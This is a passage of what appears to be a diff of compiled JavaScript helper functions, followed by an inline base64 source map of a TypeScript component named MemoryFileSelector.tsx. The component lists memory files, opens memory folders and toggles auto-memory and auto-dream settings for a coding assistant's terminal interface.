+ return prev_0 !== null && prev_0 > 0 ? prev_0 - 1 : prev_0;
416
+ }
417
+ function _temp6(s_0) {
418
+ return Object.values(s_0.tasks).some(_temp5);
419
+ }
420
+ function _temp5(t) {
421
+ return t.type === "dream" && t.status === "running";
422
+ }
423
+ function _temp4(opt) {
424
+ return opt.value === lastSelectedPath;
425
+ }
426
+ function _temp3(s) {
427
+ return s.agentDefinitions;
428
+ }
429
+ function _temp2(f_2) {
430
+ return {
431
+ ...f_2,
432
+ exists: true
433
+ };
434
+ }
435
+ function _temp(f_1) {
436
+ return f_1.type !== "AutoMem" && f_1.type !== "TeamMem";
437
+ }
438
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmZWF0dXJlIiwiY2hhbGsiLCJta2RpciIsImpvaW4iLCJSZWFjdCIsInVzZSIsInVzZUVmZmVjdCIsInVzZVN0YXRlIiwiZ2V0T3JpZ2luYWxDd2QiLCJ1c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MiLCJCb3giLCJUZXh0IiwidXNlS2V5YmluZGluZyIsImdldEF1dG9NZW1QYXRoIiwiaXNBdXRvTWVtb3J5RW5hYmxlZCIsImxvZ0V2ZW50IiwiaXNBdXRvRHJlYW1FbmFibGVkIiwicmVhZExhc3RDb25zb2xpZGF0ZWRBdCIsInVzZUFwcFN0YXRlIiwiZ2V0QWdlbnRNZW1vcnlEaXIiLCJvcGVuUGF0aCIsImdldE1lbW9yeUZpbGVzIiwiTWVtb3J5RmlsZUluZm8iLCJnZXRDbGF1ZGVDb25maWdIb21lRGlyIiwiZ2V0RGlzcGxheVBhdGgiLCJmb3JtYXRSZWxhdGl2ZVRpbWVBZ28iLCJwcm9qZWN0SXNJbkdpdFJlcG8iLCJ1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSIsIlNlbGVjdCIsIkxpc3RJdGVtIiwidGVhbU1lbVBhdGhzIiwicmVxdWlyZSIsIkV4dGVuZGVkTWVtb3J5RmlsZUluZm8iLCJpc05lc3RlZCIsImV4aXN0cyIsImxhc3RTZWxlY3RlZFBhdGgiLCJPUEVOX0ZPTERFUl9QUkVGSVgiLCJQcm9wcyIsIm9uU2VsZWN0IiwicGF0aCIsIm9uQ2FuY2VsIiwiTWVtb3J5RmlsZVNlbGVjdG9yIiwidDAiLCIkIiwiX2MiLCJleGlzdGluZ01lbW9yeUZpbGVzIiwidXNlck1lbW9yeVBhdGgiLCJwcm9qZWN0TWVtb3J5UGF0aCIsImhhc1VzZXJNZW1vcnkiLCJzb21lIiwiZiIsImhhc1Byb2plY3RNZW1vcnkiLCJmXzAiLCJhbGxNZW1vcnlGaWxlcyIsImZpbHRlciIsIl90ZW1wIiwibWFwIiwiX3RlbXAyIiwidHlwZSIsImNvbnN0IiwiY29udGVudCIsImRlcHRocyIsIk1hcCIsIm1lbW9yeU9wdGlvbnMiLCJmaWxlIiwiZGlzcGxheVBhdGgiLCJleGlzdHNMYWJlbCIsImRlcHRoIiwicGFyZW50IiwiZ2V0Iiwic2V0IiwiaW5kZW50IiwicmVwZWF0IiwibGFiZWwiLCJkZXNjcmlwdGlvbiIsImlzR2l0IiwidmFsdWUiLCJmb2xkZXJPcHRpb25zIiwiYWdlbnREZWZpbml0aW9ucyIsIl90ZW1wMyIsInQxIiwiU3ltYm9sIiwiZm9yIiwicHVzaCIsImlzVGVhbU1lbW9yeUVuYWJsZWQiLCJ0MiIsImdldFRlYW1NZW1QYXRoIiwiYWdlbnQiLCJhY3RpdmVBZ2VudHMiLCJtZW1vcnkiLCJhZ2VudERpciIsImFnZW50VHlwZSIsImJvbGQiLCJfdGVtcDQiLCJpbml0aWFsUGF0aCIsImF1dG9NZW1vcnlPbiIsInNldEF1dG9NZW1vcnlPbiIsImF1dG9EcmVhbU9uIiwic2V0QXV0b0RyZWFtT24iLCJzaG93RHJlYW1Sb3ciLCJpc0RyZWFtUnVubmluZyIsIl90ZW1wNiIsImxhc3REcmVhbUF0Iiwic2V0TGFzdERyZWFtQXQiLCJ0aGVuIiwidDMiLCJ0NCIsIkRhdGUiLCJkcmVhbVN0YXR1cyIsImZvY3VzZWRUb2dnbGUiLCJzZXRGb2N1c2VkVG9nZ2xlIiwidG9nZ2xlRm9jdXNlZCIsImxhc3RUb2dnbGVJbmRleCIsInQ1IiwiaGFuZGxlVG9nZ2xlQXV0b01lbW9yeSIsIm5ld1ZhbHVlIiwiYXV0b01lbW9yeUVuYWJsZWQiLCJlbmFibGVkIiwidDYiLCJoYW5kbGVUb2dnbGVBdXRvRHJlYW0iLCJuZXdWYWx1ZV8wIiwiYXV0b0RyZWFtRW5hYmxlZCIsInQ3IiwiY29udGV4dCIsInQ4IiwidDkiLCJpc0FjdGl2ZSIsInQxMCIsInByZXYiLCJ0MTEiLCJ0MTIiLCJfdGVtcDciLCJ0MTMiLCJ0MTQiLCJ0MTUiLCJ0MTYiLCJ0MTciLCJ0MTgiLCJ1bmRlZmluZWQiLCJ0MTkiLCJ0MjAiLCJzdGFydHNXaXRoIiwiZm9sZGVyUGF0aCIsInNsaWNlIiwibGVuZ3RoIiwicmVjdXJzaXZlIiwiY2F0Y2giLCJfdGVtcDgiLCJ0MjEiLCJ0MjIiLCJ0MjMiLCJwcmV2XzAiLCJzXzAiLCJPYmplY3QiLCJ2YWx1ZXMiLCJzIiwidGFza3MiLCJfdGVtcDUiLCJ0Iiwic3RhdHVzIiwib3B0IiwiZl8yIiwiZl8xIl0sInNvdXJjZXMiOlsiTWVtb3J5RmlsZVNlbGVjdG9yLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgeyBmZWF0dXJlIH0gZnJvbSAnYnVuOmJ1bmRsZSdcbmltcG9ydCBjaGFsayBmcm9tICdjaGFsaydcbmltcG9ydCB7IG1rZGlyIH0gZnJvbSAnZnMvcHJvbWlzZXMnXG5pbXBvcnQgeyBqb2luIH0gZnJvbSAncGF0aCdcbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgdXNlLCB1c2VFZmZlY3QsIHVzZVN0YXRlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBnZXRPcmlnaW5hbEN3ZCB9IGZyb20gJy4uLy4uL2Jvb3RzdHJhcC9zdGF0ZS5qcydcbmltcG9ydCB7IHVzZUV4aXRPbkN0cmxDRFdpdGhLZXliaW5kaW5ncyB9IGZyb20gJy4uLy4uL2hvb2tzL3VzZUV4aXRPbkN0cmxDRFdpdGhLZXliaW5kaW5ncy5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB7IHVzZUtleWJpbmRpbmcgfSBmcm9tICcuLi8uLi9rZXliaW5kaW5ncy91c2VLZXliaW5kaW5nLmpzJ1xuaW1wb3J0IHsgZ2V0QXV0b01lbVBhdGgsIGlzQXV0b01lbW9yeUVuYWJsZWQgfSBmcm9tICcuLi8uLi9tZW1kaXIvcGF0aHMuanMnXG5pbXBvcnQgeyBsb2dFdmVudCB9IGZyb20gJy4uLy4uL3NlcnZpY2VzL2FuYWx5dGljcy9pbmRleC5qcydcbmltcG9ydCB7IGlzQXV0b0RyZWFtRW5hYmxlZCB9IGZyb20gJy4uLy4uL3NlcnZpY2VzL2F1dG9EcmVhbS9jb25maWcuanMnXG5pbXBvcnQgeyByZWFkTGFzdENvbnNvbGlkYXRlZEF0IH0gZnJvbSAnLi4vLi4vc2VydmljZXMvYXV0b0RyZWFtL2NvbnNvbGlkYXRpb25Mb2NrLmpzJ1xuaW1wb3J0IHsgdXNlQXBwU3RhdGUgfSBmcm9tICcuLi8uLi9zdGF0ZS9BcHBTdGF0ZS5qcydcbmltcG9ydCB7IGdldEFnZW50TWVtb3J5RGlyIH0gZnJvbSAnLi4vLi4vdG9vbHMvQWdlbnRUb29sL2FnZW50TWVtb3J5LmpzJ1xuaW1wb3J0IHsgb3BlblBhdGggfSBmcm9tICcuLi8uLi91dGlscy9icm93c2VyLmpzJ1xuaW1wb3J0IHsgZ2V0TWVtb3J5RmlsZXMsIHR5cGUgTWVtb3J5RmlsZUluZm8gfSBmcm9tICcuLi8uLi91dGlscy9jbGF1ZGVtZC5qcydcbmltcG9ydCB7IGdldENsYXVkZUNvbmZpZ0hvbWVEaXIgfSBmcm9tICcuLi8uLi91dGlscy9lbnZVdGlscy5qcydcbmltcG9ydCB7IGdldERpc3BsYXlQYXRoIH0gZnJvbSAnLi4vLi4vdXRpbHMvZmlsZS5qcydcbmltcG9ydCB7IGZvcm1hdFJlbGF0aXZlVGltZUFnbyB9IGZyb20gJy4uLy4uL3V0aWxzL2Zvcm1hdC5qcydcbmltcG9ydCB7IHByb2plY3RJc0luR2l0UmVwbyB9IGZyb20gJy4uLy4uL3V0aWxzL21lbW9yeS92ZXJzaW9ucy5qcydcbmltcG9ydCB7IHVwZGF0ZVNldHRpbmdzRm9yU291cmNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc2V0dGluZ3Mvc2V0dGluZ3MuanMnXG5pbXBvcnQgeyBTZWxlY3QgfSBmcm9tICcuLi9DdXN0b21TZWxlY3QvaW5kZXguanMnXG5pbXBvcnQgeyBMaXN0SXRlbSB9IGZyb20gJy4uL2Rlc2lnbi1zeXN0ZW0vTGlzdEl0ZW0uanMnXG5cbi8qIGVzbGludC1kaXNhYmxlIEB0eXBlc2NyaXB0LWVzbGludC9uby1yZXF1aXJlLWltcG9ydHMgKi9cbmNvbnN0IHRlYW1NZW1QYXRocyA9IGZlYXR1cmUoJ1RFQU1NRU0nKVxuICA/IChyZXF1aXJlKCcuLi8uLi9tZW1kaXIvdGVhbU1lbVBhdGhzLmpzJykgYXMgdHlwZW9mIGltcG9ydCgnLi4vLi4vbWVtZGlyL3RlYW1NZW1QYXRocy5qcycpKVxuICA6IG51bGxcbi8qIGVzbGludC1lbmFibGUgQHR5cGVzY3JpcHQtZXNsaW50L25vLXJlcXVpcmUtaW1wb3J0cyAqL1xuXG5pbnRlcmZhY2UgRXh0ZW5kZWRNZW1vcnlGaWxlSW5mbyBleHRlbmRzIE1lbW9yeUZpbGVJbmZvIHtcbiAgaXNOZXN0ZWQ/OiBib29sZWFuXG4gIGV4aXN0czogYm9vbGVhblxufVxuXG4vLyBSZW1lbWJlciBsYXN0IHNlbGVjdGVkIHBhdGhcbmxldCBsYXN0U2VsZWN0ZWRQYXRoOiBzdHJpbmcgfCB1bmRlZmluZWRcblxuY29uc3QgT1BFTl9GT0xERVJfUFJFRklYID0gJ19fb3Blbl9mb2xkZXJfXydcblxudHlwZSBQcm9wcyA9IHtcbiAgb25TZWxlY3Q6IChwYXRoOiBzdHJpbmcpID0+IHZvaWRcbiAgb25DYW5jZWw6ICgpID0+IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIE1lbW9yeUZpbGVTZWxlY3Rvcih7XG4gIG9uU2VsZWN0LFxuICBvbkNhbmNlbCxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgZXhpc3RpbmdNZW1vcnlGaWxlcyA9IHVzZShnZXRNZW1vcnlGaWxlcygpKVxuXG4gIC8vIENyZWF0ZSBlbnRyaWVzIGZvciBVc2VyIGFuZCBQcm9qZWN0IENMQVVERS5tZCBldmVuIGlmIHRoZXkgZG9uJ3QgZXhpc3RcbiAgY29uc3QgdXNlck1lbW9yeVBhdGggPSBqb2luKGdldENsYXVkZUNvbmZpZ0hvbWVEaXIoKSwgJ0NMQVVERS5tZCcpXG4gIGNvbnN0IHByb2plY3RNZW1vcnlQYXRoID0gam9pbihnZXRPcmlnaW5hbEN3ZCgpLCAnQ0xBVURFLm1kJylcblxuICAvLyBDaGVjayBpZiB0aGVzZSBhcmUgYWxyZWFkeSBpbiB0aGUgZXhpc3RpbmcgZmlsZXNcbiAgY29uc3QgaGFzVXNlck1lbW9yeSA9IGV4aXN0aW5nTWVtb3J5RmlsZXMuc29tZShmID0+IGYucGF0aCA9PT0gdXNlck1lbW9yeVBhdGgpXG4gIGNvbnN0IGhhc1Byb2plY3RNZW1vcnkgPSBleGlzdGluZ01lbW9yeUZpbGVzLnNvbWUoXG4gICAgZiA9PiBmLnBhdGggPT09IHByb2plY3RNZW1vcnlQYXRoLFxuICApXG5cbiAgLy8gRmlsdGVyIG91dCBBdXRvTWVtL1RlYW1NZW0gZW50cnlwb2ludHM6IHRoZXNlIGFyZSBNRU1PUlkubWQgZmlsZXMsIGFuZFxuICAvLyAvbWVtb3J5IGFscmVhZHkgc3VyZmFjZXMgXCJPcGVuIGF1dG8tbWVtb3J5IGZvbGRlclwiIC8gXCJPcGVuIHRlYW0gbWVtb3J5XG4gIC8vIGZvbGRlclwiIG9wdGlvbnMgYmVsb3cuIExpc3RpbmcgdGhlIGVudHJ5cG9pbnQgZmlsZSBzZXBhcmF0ZWx5IGlzIHJlZHVuZGFudC5cbiAgY29uc3QgYWxsTWVtb3J5RmlsZXM6IEV4dGVuZGVkTWVtb3J5RmlsZUluZm9bXSA9IFtcbiAgICAuLi5leGlzdGluZ01lbW9yeUZpbGVzXG4gICAgICAuZmlsdGVyKGYgPT4gZi50eXBlICE9PSAnQXV0b01lbScgJiYgZi50eXBlICE9PSAnVGVhbU1lbScpXG4gICAgICAubWFwKGYgPT4gKHsgLi4uZiwgZXhpc3RzOiB0cnVlIH0pKSxcbiAgICAvLyBBZGQgVXNlciBtZW1vcnkgaWYgaXQgZG9lc24ndCBleGlzdFxuICAgIC4uLihoYXNVc2VyTWVtb3J5XG4gICAgICA/IFtdXG4gICAgICA6IFtcbiAgICAgICAgICB7XG4gICAgICAgICAgICBwYXRoOiB1c2VyTWVtb3J5UGF0aCxcbiAgICAgICAgICAgIHR5cGU6ICdVc2VyJyBhcyBjb25zdCxcbiAgICAgICAgICAgIGNvbnRlbnQ6ICcnLFxuICAgICAgICAgICAgZXhpc3RzOiBmYWxzZSxcbiAgICAgICAgICB9LFxuICAgICAgICBdKSxcbiAgICAvLyBBZGQgUHJvamVjdCBtZW1vcnkgaWYgaXQgZG9lc24ndCBleGlzdFxuICAgIC4uLihoYXNQcm9qZWN0TWVtb3J5XG4gICAgICA/IFtdXG4gICAgICA6IFtcbiAgICAgICAgICB7XG4gICAgICAgICAgICBwYXRoOiBwcm9qZWN0TWVtb3J5UGF0aCxcbiAgICAgICAgICAgIHR5cGU6ICdQcm9qZWN0JyBhcyBjb25zdCxcbiAgICAgICAgICAgIGNvbnRlbnQ6ICcnLFxuICAgICAgICAgICAgZXhpc3RzOiBmYWxzZSxcbiAgICAgICAgICB9LFxuICAgICAgICBdKSxcbiAgXVxuXG4gIGNvbnN0IGRlcHRocyA9IG5ldyBNYXA8c3RyaW5nLCBudW1iZXI+KClcblxuICAvLyBDcmVhdGUgb3B0aW9ucyBmb3IgdGhlIHNlbGVjdCBjb21wb25lbnRcbiAgY29uc3QgbWVtb3J5T3B0aW9ucyA9IGFsbE1lbW9yeUZpbGVzLm1hcChmaWxlID0+IHtcbiAgICBjb25zdCBkaXNwbGF5UGF0aCA9IGdldERpc3BsYXlQYXRoKGZpbGUucGF0aClcbiAgICBjb25zdCBleGlzdHNMYWJlbCA9IGZpbGUuZXhpc3RzID8gJycgOiAnIChuZXcpJ1xuXG4gICAgLy8gQ2FsY3VsYXRlIGRlcHRoIGJhc2VkIG9uIHBhcmVudFxuICAgIGNvbnN0IGRlcHRoID0gZmlsZS5wYXJlbnQgPyAoZGVwdGhzLmdldChmaWxlLnBhcmVudCkgPz8gMCkgKyAxIDogMFxuICAgIGRlcHRocy5zZXQoZmlsZS5wYXRoLCBkZXB0aClcbiAgICBjb25zdCBpbmRlbnQgPSBkZXB0aCA+IDAgPyAnICAnLnJlcGVhdChkZXB0aCAtIDEpIDogJydcblxuICAgIC8vIEZvcm1hdCBsYWJlbCBiYXNlZCBvbiB0eXBlXG4gICAgbGV0IGxhYmVsOiBzdHJpbmdcbiAgICBpZiAoXG4gICAgICBmaWxlLnR5cGUgPT09ICdVc2VyJyAmJlxuICAgICAgIWZpbGUuaXNOZXN0ZWQgJiZcbiAgICAgIGZpbGUucGF0aCA9PT0gdXNlck1lbW9yeVBhdGhcbiAgICApIHtcbiAgICAgIGxhYmVsID0gYFVzZXIgbWVtb3J5YFxuICAgIH0gZWxzZSBpZiAoXG4gICAgICBmaWxlLnR5cGUgPT09ICdQcm9qZWN0JyAmJlxuICAgICAgIWZpbGUuaXNOZXN0ZWQgJiZcbiAgICAgIGZpbGUucGF0aCA9PT0gcHJvamVjdE1lbW9yeVBhdGhcbiAgICApIHtcbiAgICAgIGxhYmVsID0gYFByb2plY3QgbWVtb3J5YFxuICAgIH0gZWxzZSBpZiAoZGVwdGggPiAwKSB7XG4gICAgICAvLyBGb3IgY2hpbGQgbm9kZXMgKGltcG9ydGVkIGZpbGVzKSwgc2hvdyBpbmRlbnRlZCB3aXRoIExcbiAgICAgIGxhYmVsID0gYCR7aW5kZW50fUwgJHtkaXNwbGF5UGF0aH0ke2V4aXN0c0xhYmVsfWBcbiAgICB9IGVsc2Uge1xuICAgICAgLy8gRm9yIG90aGVyIG1lbW9yeSBmaWxlcywganVzdCBzaG93IHRoZSBwYXRoXG4gICAgICBsYWJlbCA9IGAke2Rpc3BsYXlQYXRofWBcbiAgICB9XG5cbiAgICAvLyBDcmVhdGUgZGVzY3JpcHRpb24gYmFzZWQgb24gdHlwZSAtIGtlZXAgdGhlIG9yaWdpbmFsIGRlc2NyaXB0aW9ucyBmb3IgYnVpbHQtaW4gdHlwZXNcbiAgICBsZXQgZGVzY3JpcHRpb246IHN0cmluZ1xuICAgIGNvbnN0IGlzR2l0ID0gcHJvamVjdElzSW5HaXRSZXBvKGdldE9yaWdpbmFsQ3dkKCkpXG5cbiAgICBpZiAoZmlsZS50eXBlID09PSAnVXNlcicgJiYgIWZpbGUuaXNOZXN0ZWQpIHtcbiAgICAgIGRlc2NyaXB0aW9uID0gJ1NhdmVkIGluIH4vLmNsYXVkZS9DTEFVREUubWQnXG4gICAgfSBlbHNlIGlmIChcbiAgICAgIGZpbGUudHlwZSA9PT0gJ1Byb2plY3QnICYmXG4gICAgICAhZmlsZS5pc05lc3RlZCAmJlxuICAgICAgZmlsZS5wYXRoID09PSBwcm9qZWN0TWVtb3J5UGF0aFxuICAgICkge1xuICAgICAgZGVzY3JpcHRpb24gPSBgJHtpc0dpdCA/ICdDaGVja2VkIGluIGF0JyA6ICdTYXZlZCBpbid9IC4vQ0xBVURFLm1kYFxuICAgIH0gZWxzZSBpZiAoZmlsZS5wYXJlbnQpIHtcbiAgICAgIC8vIEZvciBpbXBvcnRlZCBmaWxlcyAod2l0aCBALWltcG9ydClcbiAgICAgIGRlc2NyaXB0aW9uID0gJ0AtaW1wb3J0ZWQnXG4gICAgfSBlbHNlIGlmIChmaWxlLmlzTmVzdGVkKSB7XG4gICAgICAvLyBGb3IgbmVzdGVkIGZpbGVzIChkeW5hbWljYWxseSBsb2FkZWQpXG4gICAgICBkZXNjcmlwdGlvbiA9ICdkeW5hbWljYWxseSBsb2FkZWQnXG4gICAgfSBlbHNlIHtcbiAgICAgIGRlc2NyaXB0aW9uID0gJydcbiAgICB9XG5cbiAgICByZXR1cm4ge1xuICAgICAgbGFiZWwsXG4gICAgICB2YWx1ZTogZmlsZS5wYXRoLFxuICAgICAgZGVzY3JpcHRpb24sXG4gICAgfVxuICB9KVxuXG4gIC8vIEFkZCBcIk9wZW4gZm9sZGVyXCIgb3B0aW9ucyBmb3IgYXV0by1tZW1vcnkgYW5kIGFnZW50IG1lbW9yeSBkaXJlY3Rvcmllc1xuICBjb25zdCBmb2xkZXJPcHRpb25zOiBBcnJheTx7XG4gICAgbGFiZWw6IHN0cmluZ1xuICAgIHZhbHVlOiBzdHJpbmdcbiAgICBkZXNjcmlwdGlvbjogc3RyaW5nXG4gIH0+ID0gW11cblxuICBjb25zdCBhZ2VudERlZmluaXRpb25zID0gdXNlQXBwU3RhdGUocyA9PiBzLmFnZW50RGVmaW5pdGlvbnMpXG4gIGlmIChpc0F1dG9NZW1vcnlFbmFibGVkKCkpIHtcbiAgICAvLyBBbHdheXMgc2hvdyBhdXRvLW1lbW9yeSBmb2xkZXIgb3B0aW9uXG4gICAgZm9sZGVyT3B0aW9ucy5wdXNoKHtcbiAgICAgIGxhYmVsOiAnT3BlbiBhdXRvLW1lbW9yeSBmb2xkZXInLFxuICAgICAgdmFsdWU6IGAke09QRU5fRk9MREVSX1BSRUZJWH0ke2dldEF1dG9NZW1QYXRoKCl9YCxcbiAgICAgIGRlc2NyaXB0aW9uOiAnJyxcbiAgICB9KVxuXG4gICAgLy8gVGVhbSBtZW1vcnkgZGlyZWN0bHkgYmVsb3cgYXV0by1tZW1vcnkgKHRlYW0gZGlyIGlzIGEgc3ViZGlyIG9mIGF1dG8gZGlyKVxuICAgIGlmIChmZWF0dXJlKCdURUFNTUVNJykgJiYgdGVhbU1lbVBhdGhzIS5pc1RlYW1NZW1vcnlFbmFibGVkKCkpIHtcbiAgICAgIGZvbGRlck9wdGlvbnMucHVzaCh7XG4gICAgICAgIGxhYmVsOiAnT3BlbiB0ZWFtIG1lbW9yeSBmb2xkZXInLFxuICAgICAgICB2YWx1ZTogYCR7T1BFTl9GT0xERVJfUFJFRklYfSR7dGVhbU1lbVBhdGhzIS5nZXRUZWFtTWVtUGF0aCgpfWAsXG4gICAgICAgIGRlc2NyaXB0aW9uOiAnJyxcbiAgICAgIH0pXG4gICAgfVxuXG4gICAgLy8gQWRkIGFnZW50IG1lbW9yeSBmb2xkZXJzIGZvciBhZ2VudHMgdGhhdCBoYXZlIG1lbW9yeSBjb25maWd1cmVkXG4gICAgZm9yIChjb25zdCBhZ2VudCBvZiBhZ2VudERlZmluaXRpb25zLmFjdGl2ZUFnZW50cykge1xuICAgICAgaWYgKGFnZW50Lm1lbW9yeSkge1xuICAgICAgICBjb25zdCBhZ2VudERpciA9IGdldEFnZW50TWVtb3J5RGlyKGFnZW50LmFnZW50VHlwZSwgYWdlbnQubWVtb3J5KVxuICAgICAgICBmb2xkZXJPcHRpb25zLnB1c2goe1xuICAgICAgICAgIGxhYmVsOiBgT3BlbiAke2NoYWxrLmJvbGQoYWdlbnQuYWdlbnRUeXBlKX0gYWdlbnQgbWVtb3J5YCxcbiAgICAgICAgICB2YWx1ZTogYCR7T1BFTl9GT0xERVJfUFJFRklYfSR7YWdlbnREaXJ9YCxcbiAgICAgICAgICBkZXNjcmlwdGlvbjogYCR7YWdlbnQubWVtb3J5fSBzY29wZWAsXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgbWVtb3J5T3B0aW9ucy5wdXNoKC4uLmZvbGRlck9wdGlvbnMpXG5cbiAgLy8gSW5pdGlhbGl6ZSB3aXRoIGxhc3Qgc2VsZWN0ZWQgcGF0aCBpZiBpdCdzIHN0aWxsIGluIHRoZSBvcHRpb25zLCBvdGhlcndpc2UgdXNlIGZpcnN0IG9wdGlvblxuICBjb25zdCBpbml0aWFsUGF0aCA9XG4gICAgbGFzdFNlbGVjdGVkUGF0aCAmJlxuICAgIG1lbW9yeU9wdGlvbnMuc29tZShvcHQgPT4gb3B0LnZhbHVlID09PSBsYXN0U2VsZWN0ZWRQYXRoKVxuICAgICAgPyBsYXN0U2VsZWN0ZWRQYXRoXG4gICAgICA6IG1lbW9yeU9wdGlvbnNbMF0/LnZhbHVlIHx8ICcnXG5cbiAgLy8gVG9nZ2xlIHN0YXRlIChsb2NhbCBjb3B5IG9mIHNldHRpbmdzIHNvIHRoZSBVSSB1cGRhdGVzIGltbWVkaWF0ZWx5KVxuICBjb25zdCBbYXV0b01lbW9yeU9uLCBzZXRBdXRvTWVtb3J5T25dID0gdXNlU3RhdGUoaXNBdXRvTWVtb3J5RW5hYmxlZClcbiAgY29uc3QgW2F1dG9EcmVhbU9uLCBzZXRBdXRvRHJlYW1Pbl0gPSB1c2VTdGF0ZShpc0F1dG9EcmVhbUVuYWJsZWQpXG5cbiAgLy8gRHJlYW0gcm93IGlzIG9ubHkgbWVhbmluZ2Z1bCB3aGVuIGF1dG8tbWVtb3J5IGlzIG9uIChkcmVhbSBjb25zb2xpZGF0ZXNcbiAgLy8gdGhhdCBkaXIpLiBTbmFwc2hvdCBhdCBtb3VudCBzbyB0aGUgcm93IGRvZXNuJ3QgdmFuaXNoIG1pZC1uYXZpZ2F0aW9uXG4gIC8vIGlmIHRoZSB1c2VyIHRvZ2dsZXMgYXV0by1tZW1vcnkgb2ZmLlxuICBjb25zdCBbc2hvd0RyZWFtUm93XSA9IHVzZVN0YXRlKGlzQXV0b01lbW9yeUVuYWJsZWQpXG5cbiAgLy8gRHJlYW0gc3RhdHVzOiBwcmVmZXIgbGl2ZSB0YXNrIHN0YXRlICh0aGlzIHNlc3Npb24gZmlyZWQgaXQpLCBmYWxsIGJhY2tcbiAgLy8gdG8gdGhlIGNyb3NzLXByb2Nlc3MgbG9jayBtdGltZS5cbiAgY29uc3QgaXNEcmVhbVJ1bm5pbmcgPSB1c2VBcHBTdGF0ZShzID0+XG4gICAgT2JqZWN0LnZhbHVlcyhzLnRhc2tzKS5zb21lKFxuICAgICAgdCA9PiB0LnR5cGUgPT09ICdkcmVhbScgJiYgdC5zdGF0dXMgPT09ICdydW5uaW5nJyxcbiAgICApLFxuICApXG4gIGNvbnN0IFtsYXN0RHJlYW1BdCwgc2V0TGFzdERyZWFtQXRdID0gdXNlU3RhdGU8bnVtYmVyIHwgbnVsbD4obnVsbClcbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICBpZiAoIXNob3dEcmVhbVJvdykgcmV0dXJuXG4gICAgdm9pZCByZWFkTGFzdENvbnNvbGlkYXRlZEF0KCkudGhlbihzZXRMYXN0RHJlYW1BdClcbiAgfSwgW3Nob3dEcmVhbVJvdywgaXNEcmVhbVJ1bm5pbmddKVxuXG4gIGNvbnN0IGRyZWFtU3RhdHVzID0gaXNEcmVhbVJ1bm5pbmdcbiAgICA/ICdydW5uaW5nJ1xuICAgIDogbGFzdERyZWFtQXQgPT09IG51bGxcbiAgICAgID8gJycgLy8gc3RhdCBpbiBmbGlnaHRcbiAgICAgIDogbGFzdERyZWFtQXQgPT09IDBcbiAgICAgICAgPyAnbmV2ZXInXG4gICAgICAgIDogYGxhc3QgcmFuICR7Zm9ybWF0UmVsYXRpdmVUaW1lQWdvKG5ldyBEYXRlKGxhc3REcmVhbUF0KSl9YFxuXG4gIC8vIG51bGwgPSBTZWxlY3QgaGFzIGZvY3VzLCAwID0gYXV0by1tZW1vcnksIDEgPSBhdXRvLWRyZWFtIChpZiBzaG93RHJlYW1Sb3cpXG4gIGNvbnN0IFtmb2N1c2VkVG9nZ2xlLCBzZXRGb2N1c2VkVG9nZ2xlXSA9IHVzZVN0YXRlPG51bWJlciB8IG51bGw+KG51bGwpXG4gIGNvbnN0IHRvZ2dsZUZvY3VzZWQgPSBmb2N1c2VkVG9nZ2xlICE9PSBudWxsXG4gIGNvbnN0IGxhc3RUb2dnbGVJbmRleCA9IHNob3dEcmVhbVJvdyA/IDEgOiAwXG5cbiAgZnVuY3Rpb24gaGFuZGxlVG9nZ2xlQXV0b01lbW9yeSgpOiB2b2lkIHtcbiAgICBjb25zdCBuZXdWYWx1ZSA9ICFhdXRvTWVtb3J5T25cbiAgICB1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSgndXNlclNldHRpbmdzJywgeyBhdXRvTWVtb3J5RW5hYmxlZDogbmV3VmFsdWUgfSlcbiAgICBzZXRBdXRvTWVtb3J5T24obmV3VmFsdWUpXG4gICAgbG9nRXZlbnQoJ3Rlbmd1X2F1dG9fbWVtb3J5X3RvZ2dsZWQnLCB7IGVuYWJsZWQ6IG5ld1ZhbHVlIH0pXG4gIH1cblxuICBmdW5jdGlvbiBoYW5kbGVUb2dnbGVBdXRvRHJlYW0oKTogdm9pZCB7XG4gICAgY29uc3QgbmV3VmFsdWUgPSAhYXV0b0RyZWFtT25cbiAgICB1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSgndXNlclNldHRpbmdzJywgeyBhdXRvRHJlYW1FbmFibGVkOiBuZXdWYWx1ZSB9KVxuICAgIHNldEF1dG9EcmVhbU9uKG5ld1ZhbHVlKVxuICAgIGxvZ0V2ZW50KCd0ZW5ndV9hdXRvX2RyZWFtX3RvZ2dsZWQnLCB7IGVuYWJsZWQ6IG5ld1ZhbHVlIH0pXG4gIH1cblxuICB1c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MoKVxuXG4gIHVzZUtleWJpbmRpbmcoJ2NvbmZpcm06bm8nLCBvbkNhbmNlbCwgeyBjb250ZXh0OiAnQ29uZmlybWF0aW9uJyB9KVxuXG4gIHVzZUtleWJpbmRpbmcoXG4gICAgJ2NvbmZpcm06eWVzJyxcbiAgICAoKSA9PiB7XG4gICAgICBpZiAoZm9jdXNlZFRvZ2dsZSA9PT0gMCkgaGFuZGxlVG9nZ2xlQXV0b01lbW9yeSgpXG4gICAgICBlbHNlIGlmIChmb2N1c2VkVG9nZ2xlID09PSAxKSBoYW5kbGVUb2dnbGVBdXRvRHJlYW0oKVxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnQ29uZmlybWF0aW9uJywgaXNBY3RpdmU6IHRvZ2dsZUZvY3VzZWQgfSxcbiAgKVxuICB1c2VLZXliaW5kaW5nKFxuICAgICdzZWxlY3Q6bmV4dCcsXG4gICAgKCkgPT4ge1xuICAgICAgc2V0Rm9jdXNlZFRvZ2dsZShwcmV2ID0+XG4gICAgICAgIHByZXYgIT09IG51bGwgJiYgcHJldiA8IGxhc